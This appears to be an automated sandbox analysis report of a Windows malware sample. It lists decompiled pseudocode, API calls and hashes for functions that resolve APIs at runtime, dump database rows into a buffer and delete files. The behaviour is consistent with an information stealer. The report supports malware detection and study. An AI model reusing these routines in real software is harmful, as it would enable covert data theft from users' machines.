Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: ({H$8}H
API String ID: 2238633743-2414216279
Opcode ID: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction ID: 2672694bce1a196fb14c5d12644c19629fc0bc7f4ce699a9cda348cbaa83b162
Opcode Fuzzy Hash: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction Fuzzy Hash: 64210DB56262009FC344EBB8ED889B637E9B74C315711C53AE505C3261D635A462CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 005872B0, Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(0041A6A4,?,0058A971,?,005869FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 005872B9
GetProcAddress.KERNEL32(0041A82C,({H), ref: 005872DF
GetProcAddress.KERNEL32(0041A82C,0041A0EC), ref: 005872F7
GetProcAddress.KERNEL32(0041A82C,0041A43C), ref: 0058730F
GetProcAddress.KERNEL32(0041A82C,0041A41C), ref: 00587328
GetProcAddress.KERNEL32(0041A82C,0041A454), ref: 00587340
GetProcAddress.KERNEL32(0041A82C,8}H), ref: 00587358
GetProcAddress.KERNEL32(0041A82C,0041A570), ref: 00587371
GetProcAddress.KERNEL32(0041A82C,0041A6F8), ref: 00587389

Strings

({H, xrefs: 005872D1, 005872D7
8}H, xrefs: 0058734B, 00587351

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: ({H$8}H
API String ID: 2238633743-2414216279
Opcode ID: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction ID: 6adabc56012f21fabe382da3196a16998d1f988a11a40631bdac7d4012663312
Opcode Fuzzy Hash: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction Fuzzy Hash: 06211EB56272009FC344EBB8ED889B637E9B74C315711C939E505C3261D6359462CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00411720, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 198
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411720(void* _a4, signed int* _a8, intOrPtr* _a12, intOrPtr* _a16, signed int* _a20) {
				int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v48;
				intOrPtr _v56;
				intOrPtr _v64;
				struct _BY_HANDLE_FILE_INFORMATION _v72;
				long _v76;
				void _v80;
				void _v84;
				void _v88;
				signed short _v92;
				signed short _v96;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr* _t138;
				intOrPtr _t139;
				intOrPtr _t140;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t163;
				void* _t177;

				_v8 = GetFileInformationByHandle(_a4,  &_v72);
				if(_v8 == 0) {
					return 0x200;
				}
				_v16 = _v72.dwFileAttributes;
				_v12 = 0;
				if((_v16 & 0x00000001) != 0) {
					_v12 = _v12 | 0x00000001;
				}
				if((_v16 & 0x00000002) != 0) {
					_v12 = _v12 | 0x00000002;
				}
				if((_v16 & 0x00000004) != 0) {
					_v12 = _v12 | 0x00000004;
				}
				if((_v16 & 0x00000010) != 0) {
					_v12 = _v12 | 0x00000010;
				}
				if((_v16 & 0x00000020) != 0) {
					_v12 = _v12 | 0x00000020;
				}
				if((_v16 & 0x00000010) == 0) {
					_v12 = _v12 | 0x80000000;
				} else {
					_v12 = _v12 | 0x40000000;
				}
				_v12 = _v12 | 0x01000000;
				if((_v16 & 0x00000001) == 0) {
					_v12 = _v12 | 0x00800000;
				}
				_v76 = GetFileSize(_a4, 0);
				if(_v76 > 0x28) {
					SetFilePointer(_a4, 0, 0, 0);
					ReadFile(_a4,  &_v80, 2,  &_v20, 0);
					SetFilePointer(_a4, 0x24, 0, 0);
					ReadFile(_a4,  &_v84, 4,  &_v20, 0);
					if((_v80 & 0x0000ffff) == 0x54ad && _v76 > _v84 + 0x34) {
						SetFilePointer(_a4, _v84, 0, 0);
						ReadFile(_a4,  &_v88, 4,  &_v20, 0);
						if(_v88 == 0x5a4d || _v88 == 0x454e || _v88 == 0x454c || _v88 == 0x4550) {
							_v12 = _v12 | 0x00400000;
						}
					}
				}
				if(_a8 != 0) {
					 *_a8 = _v12;
				}
				if(_a12 != 0) {
					 *_a12 = _v76;
				}
				if(_a16 != 0) {
					_t161 = _v72.ftLastAccessTime;
					_t103 = E00411630(_t161, _v56);
					_t138 = _a16;
					 *_t138 = _t103;
					 *((intOrPtr*)(_t138 + 4)) = _t161;
					_t162 = _v48;
					_t105 = E00411630(_v72.ftLastWriteTime, _t162);
					_t139 = _a16;
					 *((intOrPtr*)(_t139 + 8)) = _t105;
					 *((intOrPtr*)(_t139 + 0xc)) = _t162;
					_t163 = _v64;
					_t107 = E00411630(_v72.ftCreationTime, _t163);
					_t177 = _t177 + 0x18;
					_t140 = _a16;
					 *((intOrPtr*)(_t140 + 0x10)) = _t107;
					 *((intOrPtr*)(_t140 + 0x14)) = _t163;
				}
				if(_a20 != 0) {
					E00411670(_v72.ftLastWriteTime, _v48,  &_v96,  &_v92);
					 *_a20 = _v92 & 0x0000ffff | (_v96 & 0x0000ffff) << 0x00000010;
				}
				return 0;
			}

0x00411734
0x0041173b
0x00000000
0x0041173d
0x0041174a
0x0041174d
0x0041175a
0x00411762
0x00411762
0x0041176b
0x00411773
0x00411773
0x0041177c
0x00411784
0x00411784
0x0041178d
0x00411795
0x00411795
0x0041179e
0x004117a6
0x004117a6
0x004117af
0x004117c7
0x004117b1
0x004117ba
0x004117ba
0x004117d3
0x004117dc
0x004117e8
0x004117e8
0x004117f7
0x004117fe
0x0041180e
0x00411824
0x00411834
0x0041184a
0x0041185a
0x00411873
0x00411889
0x00411896
0x004118bc
0x004118bc
0x00411896
0x0041185a
0x004118c3
0x004118cb
0x004118cb
0x004118d1
0x004118d9
0x004118d9
0x004118df
0x004118e5
0x004118e9
0x004118f1
0x004118f4
0x004118f6
0x004118f9
0x00411901
0x00411909
0x0041190c
0x0041190f
0x00411912
0x0041191a
0x0041191f
0x00411922
0x00411925
0x00411928
0x00411928
0x0041192f
0x00411941
0x00411959
0x00411959
0x00000000

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 0041172E
GetFileSize.KERNEL32(00000000,00000000), ref: 004117F1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041180E
ReadFile.KERNEL32(00000000,?,00000002,?,00000000), ref: 00411824
SetFilePointer.KERNEL32(00000000,00000024,00000000,00000000), ref: 00411834
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 0041184A
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 00411873

Strings

(, xrefs: 004117FA
PE, xrefs: 004118AA

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: File$Pointer$Read$HandleInformationSize
String ID: ($PE
API String ID: 4143101051-3347799738
Opcode ID: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction ID: e3637cdcc6502234263c20fa9ec7c337361675902c7ba39fe6a18ec050177dc1
Opcode Fuzzy Hash: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction Fuzzy Hash: 7C814AB5D10208ABEB04DFD4C885BEEBBB5FB48300F14C15AE615AB394D3349A81CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00591970, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 198fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 0059197E
GetFileSize.KERNEL32(00000000,00000000), ref: 00591A41
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00591A5E
ReadFile.KERNEL32(00000000,?,00000002,?,00000000), ref: 00591A74
SetFilePointer.KERNEL32(00000000,00000024,00000000,00000000), ref: 00591A84
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 00591A9A
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 00591AC3

Strings

PE, xrefs: 00591AFA
(, xrefs: 00591A4A

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: File$Pointer$Read$HandleInformationSize
String ID: ($PE
API String ID: 4143101051-3347799738
Opcode ID: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction ID: 9f3aa10836efa7c06a301333fd143177813a992e45a68ba2ed2db0140c581e7c
Opcode Fuzzy Hash: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction Fuzzy Hash: 1D813CB1D10619AFDF04CFD8D895BEEBBB6FF88301F148459E505AB284D7349A81CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00405B00, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 178
stringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00405B00(void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				char _v276;
				char _v540;
				char _v804;
				char _v1068;
				char _v1072;
				char _v1076;
				intOrPtr _v1104;
				intOrPtr _v1108;
				intOrPtr _v1112;
				char* _v1116;
				char* _v1120;
				intOrPtr _v1124;
				intOrPtr _v1128;
				intOrPtr _v1132;
				char _v1136;
				intOrPtr _v1140;
				char _t56;
				char _t66;
				void* _t69;
				void* _t73;
				void* _t77;
				void* _t81;
				void* _t83;
				intOrPtr _t110;
				intOrPtr _t117;
				intOrPtr _t118;
				intOrPtr _t119;
				intOrPtr _t120;
				void* _t126;
				void* _t127;

				_t56 = E0040C090(_a4, "|",  &_v1076);
				_t127 = _t126 + 0xc;
				_v1072 = _t56;
				_v8 = 1;
				E0040B720( &_v804, 0x104);
				E0040B720( &_v1068, 0x104);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				while(_v1072 != 0) {
					_v1140 = _v8;
					if(_v1140 == 1) {
						 *0x41aa24( &_v804, _v1072);
					} else {
						if(_v1140 == 2) {
							 *0x41aa24( &_v1068, _v1072);
							_t69 = E0040BF50( &_v1068, __eflags, 0x1a);
							_t117 =  *0x41a574; // 0x487038
							 *0x41aac8( &_v540, E0040BEB0( &_v1068, _t117, _t69));
							_t73 = E0040BF50( &_v540, __eflags, 0x1c);
							_t118 =  *0x41a518; // 0x487080
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t118, _t73));
							_t77 = E0040BF50( &_v540, __eflags, 0x28);
							_t119 =  *0x41a2f8; // 0x486d98
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t119, _t77));
							_t81 = E0040BF50( &_v540, __eflags, 0x10);
							_t120 =  *0x41a494; // 0x486ea0
							_t83 = E0040BEB0( &_v540, _t120, _t81);
							_t127 = _t127 + 0x40;
							 *0x41aac8( &_v540, _t83);
						} else {
							if(_v1140 == 3) {
								 *0x41aa24( &_v276, _v1072);
								E004049E0( &_v540,  &_v804,  &_v540);
								_t127 = _t127 + 8;
								E0040B6E0( &_v540,  &_v1136, 0, 0x3c);
								_v1136 = 0x3c;
								_v1132 = 0;
								_v1128 = 0;
								_t110 =  *0x41a694; // 0x46e518
								_v1124 = _t110;
								_v1120 =  &_v540;
								_v1116 =  &_v276;
								_v1112 = 0;
								_v1108 = 5;
								_v1104 = 0;
								 *0x41aa84( &_v1136);
								E0040B6E0( &_v1136,  &_v1136, 0, 0x3c);
								E0040B720( &_v1068, 0x104);
								E0040B720( &_v540, 0x104);
								E0040B720( &_v276, 0x104);
								E0040B720( &_v804, 0x104);
								_v8 = 0;
							}
						}
					}
					_v8 = _v8 + 1;
					_t66 = E0040C090(0, "|",  &_v1076);
					_t127 = _t127 + 0xc;
					_v1072 = _t66;
				}
				return E0040B720( &_v1072, 4);
			}

0x00405b19
0x00405b1e
0x00405b21
0x00405b27
0x00405b3a
0x00405b4b
0x00405b5c
0x00405b6d
0x00405b72
0x00405b82
0x00405b8f
0x00405bba
0x00405b91
0x00405b98
0x00405bd3
0x00405bdb
0x00405be4
0x00405c02
0x00405c0a
0x00405c13
0x00405c31
0x00405c39
0x00405c42
0x00405c60
0x00405c68
0x00405c71
0x00405c7f
0x00405c84
0x00405c8f
0x00405b9a
0x00405ba1
0x00405ca8
0x00405cbc
0x00405cc1
0x00405ccf
0x00405cd4
0x00405cde
0x00405ce8
0x00405cf2
0x00405cf8
0x00405d04
0x00405d10
0x00405d16
0x00405d20
0x00405d2a
0x00405d3b
0x00405d4c
0x00405d5d
0x00405d6e
0x00405d7f
0x00405d90
0x00405d95
0x00405d95
0x00405ba1
0x00405b98
0x00405da2
0x00405db3
0x00405db8
0x00405dbb
0x00405dbb
0x00405dd7

APIs

lstrcat.KERNEL32(?,00000000), ref: 00405BBA
lstrcat.KERNEL32(?,00000000), ref: 00405BD3

Part of subcall function 0040BF50: SHGetFolderPathA.SHELL32(00000000,0040619E,00000000,00000000,?,?,000003E8), ref: 0040BF7B

Part of subcall function 0040BEB0: StrStrA.SHLWAPI(8pH,?,?,004061B1,?,00487038,00000000), ref: 0040BEBE

lstrcpy.KERNEL32(?,00000000), ref: 00405C02

Part of subcall function 0040BEB0: lstrcpyn.KERNEL32(0041AC88,8pH,8pH,?,004061B1,?,00487038), ref: 0040BEE2
Part of subcall function 0040BEB0: wsprintfA.USER32 ref: 0040BF3B

lstrcpy.KERNEL32(?,00000000), ref: 00405C31
lstrcpy.KERNEL32(?,00000000), ref: 00405C60
lstrcpy.KERNEL32(?,00000000), ref: 00405C8F

Strings

8pH, xrefs: 00405BE4
<, xrefs: 00405CD4

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrcpy$lstrcat$FolderPathlstrcpynwsprintf
String ID: 8pH$<
API String ID: 2415926151-2621629855
Opcode ID: 4070b54bc410fe38681dd1cb4b2d5f09921e35fdf547ff02e18d43a76b618dc1
Instruction ID: badc1f77fbd681f1876fa2e3389a3849b2e9868718c133fb1f617daaf3b8e41a
Opcode Fuzzy Hash: 4070b54bc410fe38681dd1cb4b2d5f09921e35fdf547ff02e18d43a76b618dc1
Instruction Fuzzy Hash: D86114F190021CABD715EB60DC85FDE7378AB58304F0445AAF309A6191DB796B88CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 00585D50, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 178stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00000000), ref: 00585E0A
lstrcat.KERNEL32(?,00000000), ref: 00585E23

Part of subcall function 0058C1A0: SHGetFolderPathA.SHELL32(00000000,00585E30,00000000,00000000,?,?,000003E8), ref: 0058C1CB

Part of subcall function 0058C100: StrStrA.SHLWAPI(?,?,?,00585E47,?,8pH,00000000), ref: 0058C10E

lstrcpy.KERNEL32(?,00000000), ref: 00585E52

Part of subcall function 0058C100: lstrcpyn.KERNEL32(0041AC88,?,?,?,00585E47,?,8pH), ref: 0058C132
Part of subcall function 0058C100: wsprintfA.USER32 ref: 0058C18B

lstrcpy.KERNEL32(?,00000000), ref: 00585E81
lstrcpy.KERNEL32(?,00000000), ref: 00585EB0
lstrcpy.KERNEL32(?,00000000), ref: 00585EDF

Strings

8pH, xrefs: 00585E34, 00585E3A
<, xrefs: 00585F24

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: lstrcpy$lstrcat$FolderPathlstrcpynwsprintf
String ID: 8pH$<
API String ID: 2415926151-2621629855
Opcode ID: ca99b8c5f2615107a35df7a1f1dccff14a2e5a2c5a6f3dec0d12ea2a79c58206
Instruction ID: d53f7b0d4776d54f6de185e1788258754ef7711428e120fd6176fcbd0124a224
Opcode Fuzzy Hash: ca99b8c5f2615107a35df7a1f1dccff14a2e5a2c5a6f3dec0d12ea2a79c58206
Instruction Fuzzy Hash: AE6150F1900218ABDB25EB60DC89FDA7B787B48704F0045D9F709A6151EB749B88CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00408650, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408650(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				char _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v276, 0x104);
				_t30 =  *0x41a418; // 0x4886b8
				wsprintfA( &_v276, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v8);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a790; // 0x482448
					_t35 =  *0x41a7e8(_v8, _t67, 0xffffffff,  &_v280, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_v284 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v280);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v280, 0);
						_t48 =  *0x41a820(_v280, 1);
						_t76 = _t79 + 0x10;
						_v292 = _t48;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
						 *0x41aa24(_v284, _v292);
						 *0x41aa24(_v284, "\n\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t76 = _t79 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t33;
			}

0x00408665
0x00408672
0x0040867f
0x00408690
0x00408696
0x0040869b
0x004086ac
0x004086b7
0x004086bd
0x004086c2
0x004087b2
0x004087b9
0x00000000
0x004087cc
0x004086dc
0x004086e2
0x004086e9
0x004086ef
0x004086f5
0x00000000
0x00000000
0x0040870d
0x0040871c
0x00408722
0x00408725
0x00408739
0x0040874b
0x0040875f
0x00408771
0x00408771
0x0040879c
0x004087a1
0x004087ad
0x00000000
0x004087ad
0x004087d2

APIs

wsprintfA.USER32 ref: 0040867F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004086CF
RtlAllocateHeap.NTDLL(00000000), ref: 004086D6
lstrcat.KERNEL32(?,?), ref: 00408739
lstrcat.KERNEL32(?,00418BC4), ref: 0040874B
lstrcat.KERNEL32(?,?), ref: 0040875F
lstrcat.KERNEL32(?,00418BC0), ref: 00408771
lstrlen.KERNEL32(?), ref: 00408783

Strings

H$H, xrefs: 004086AC

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: H$H
API String ID: 3196222039-136785262
Opcode ID: 601da77d2b958b42111a2526275364799b5b29ea12d04da848a139924ca4b389
Instruction ID: 955311191cc75421edc53ced7400f0f4475059767564ca96251eab490a2998f9
Opcode Fuzzy Hash: 601da77d2b958b42111a2526275364799b5b29ea12d04da848a139924ca4b389
Instruction Fuzzy Hash: 5F41A9B1900108ABCB14DBA4DD46FDA7778AF4C705F0085A9F70997141DB35DAA1CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 005888A0, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005888CF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0058891F
RtlAllocateHeap.NTDLL(00000000), ref: 00588926
lstrcat.KERNEL32(?,?), ref: 00588989
lstrcat.KERNEL32(?,00418BC4), ref: 0058899B
lstrcat.KERNEL32(?,?), ref: 005889AF
lstrcat.KERNEL32(?,00418BC0), ref: 005889C1
lstrlen.KERNEL32(?), ref: 005889D3

Strings

H$H, xrefs: 005888FC, 00588902

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: H$H
API String ID: 3196222039-136785262
Opcode ID: 1119712f637d9eb64d062cc267114afa9ce115c682cd0cc618dc5df66b8733dd
Instruction ID: 022e3d631e10991174480d322ad920e47e3141c4bbf423e0f74e0c92e1c72fbc
Opcode Fuzzy Hash: 1119712f637d9eb64d062cc267114afa9ce115c682cd0cc618dc5df66b8733dd
Instruction Fuzzy Hash: FD4153B1900108ABCB14EBA4DD4AFEA77B8BF48705F008594F70997151DA35EEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00405DE0, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 25
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405DE0() {
				CHAR* _t1;
				CHAR* _t5;
				CHAR* _t9;
				CHAR* _t11;
				CHAR* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t1 =  *0x41a6a4; // 0x486688
				DeleteFileA(_t1);
				_t11 =  *0x41a2f0; // 0x486728
				DeleteFileA(_t11);
				_t13 =  *0x41a650; // 0x4867f0
				DeleteFileA(_t13);
				_t5 =  *0x41a220; // 0x4868b8
				DeleteFileA(_t5);
				_t12 =  *0x41a6cc; // 0x484ab8
				DeleteFileA(_t12);
				_t14 =  *0x41a4a8; // 0x4867a0
				DeleteFileA(_t14);
				_t9 =  *0x41a700; // 0x486930
				return DeleteFileA(_t9);
			}

0x00405de3
0x00405de9
0x00405def
0x00405df6
0x00405dfc
0x00405e03
0x00405e09
0x00405e0f
0x00405e15
0x00405e1c
0x00405e22
0x00405e29
0x00405e2f
0x00405e3c

APIs

DeleteFileA.KERNEL32(00486688,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DE9
DeleteFileA.KERNEL32(00486728,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DF6
DeleteFileA.KERNEL32(004867F0,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E03
DeleteFileA.KERNEL32(004868B8,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E0F
DeleteFileA.KERNEL32(00484AB8,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E1C
DeleteFileA.KERNEL32(004867A0,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E29
DeleteFileA.KERNEL32(00486930,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E35

Strings

(gH, xrefs: 00405DEF
0iH, xrefs: 00405E2F

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: DeleteFile
String ID: (gH$0iH
API String ID: 4033686569-3679404122
Opcode ID: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction ID: 53f7d35bc311ab0ea18b8a2534d9d90475545ede5d55a6c2cac6028fe6962c5d
Opcode Fuzzy Hash: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction Fuzzy Hash: D7F014F95232009BC7049BA4ED4C8A637A9B7CC621305C928B50683225CB39E5608B7B

Uniqueness

Uniqueness Score: -1.00%

Function 00586030, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 25fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(0041A6A4), ref: 00586039
DeleteFileA.KERNEL32((gH), ref: 00586046
DeleteFileA.KERNEL32(0041A650), ref: 00586053
DeleteFileA.KERNEL32(0041A220), ref: 0058605F
DeleteFileA.KERNEL32(0041A6CC), ref: 0058606C
DeleteFileA.KERNEL32(0041A4A8), ref: 00586079
DeleteFileA.KERNEL32(0iH), ref: 00586085

Strings

(gH, xrefs: 0058603F, 00586045
0iH, xrefs: 0058607F, 00586084

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: DeleteFile
String ID: (gH$0iH
API String ID: 4033686569-3679404122
Opcode ID: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction ID: 53f7d35bc311ab0ea18b8a2534d9d90475545ede5d55a6c2cac6028fe6962c5d
Opcode Fuzzy Hash: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction Fuzzy Hash: D7F014F95232009BC7049BA4ED4C8A637A9B7CC621305C928B50683225CB39E5608B7B

Uniqueness

Uniqueness Score: -1.00%

Function 00586B40, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75timestringCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,00000104), ref: 00586BC1
lstrcat.KERNEL32(?,8MH), ref: 00586BD5
sscanf.NTDLL ref: 00586C13
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00586C27
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00586C38
ExitProcess.KERNEL32 ref: 00586C52

Strings

xJH, xrefs: 00586C05, 00586C0B
8MH, xrefs: 00586BC7, 00586BCD

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Time$System$File$ExitProcesslstrcatsscanf
String ID: 8MH$xJH
API String ID: 2797641603-3666235869
Opcode ID: c61bb436b804f0d06a8e2a80b3f30031f21c3dbbfd9811cb7010ad7d772f11a9
Instruction ID: 34d48402f064252757d9d5d422469114b1a404742766d3ba38c85e12e4533a57
Opcode Fuzzy Hash: c61bb436b804f0d06a8e2a80b3f30031f21c3dbbfd9811cb7010ad7d772f11a9
Instruction Fuzzy Hash: 17310EB2D1121CABCB58DF94DD85ADEB7B9BF48300F0085EAE109A2150EB305B98CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B000, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040B000() {
				void* _v8;
				int _v16;
				int _v20;
				struct _MEMORYSTATUSEX _v84;
				void* _t18;
				int _t27;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 = memset( &_v84, 0, 0x40);
				_v84.dwLength = 0x40;
				GlobalMemoryStatusEx( &_v84);
				if(_t18 != 1) {
					_v20 = 0;
					_v16 = 0;
				} else {
					_t27 = _v84.ullAvailPhys;
					_v20 = E00413940(_v84.ullTotalPhys, _t27, 0x100000, 0);
					_v16 = _t27;
				}
				_push(_v16);
				wsprintfA(_v8, "%d MB", _v20);
				return _v8;
			}

0x0040b01a
0x0040b025
0x0040b02b
0x0040b036
0x0040b03f
0x0040b05d
0x0040b064
0x0040b041
0x0040b048
0x0040b055
0x0040b058
0x0040b058
0x0040b06e
0x0040b07c
0x0040b08b

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
memset.NTDLL ref: 0040B025
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
__aulldiv.LIBCMT ref: 0040B050
wsprintfA.USER32 ref: 0040B07C

Strings

@, xrefs: 0040B02B
%d MB, xrefs: 0040B073

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus__aulldivmemsetwsprintf
String ID: %d MB$@
API String ID: 3391354518-3474575989
Opcode ID: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction ID: d6dd67dfb3d0438e7a0ae41fe93027642831ff50444b6176823616896e2162a9
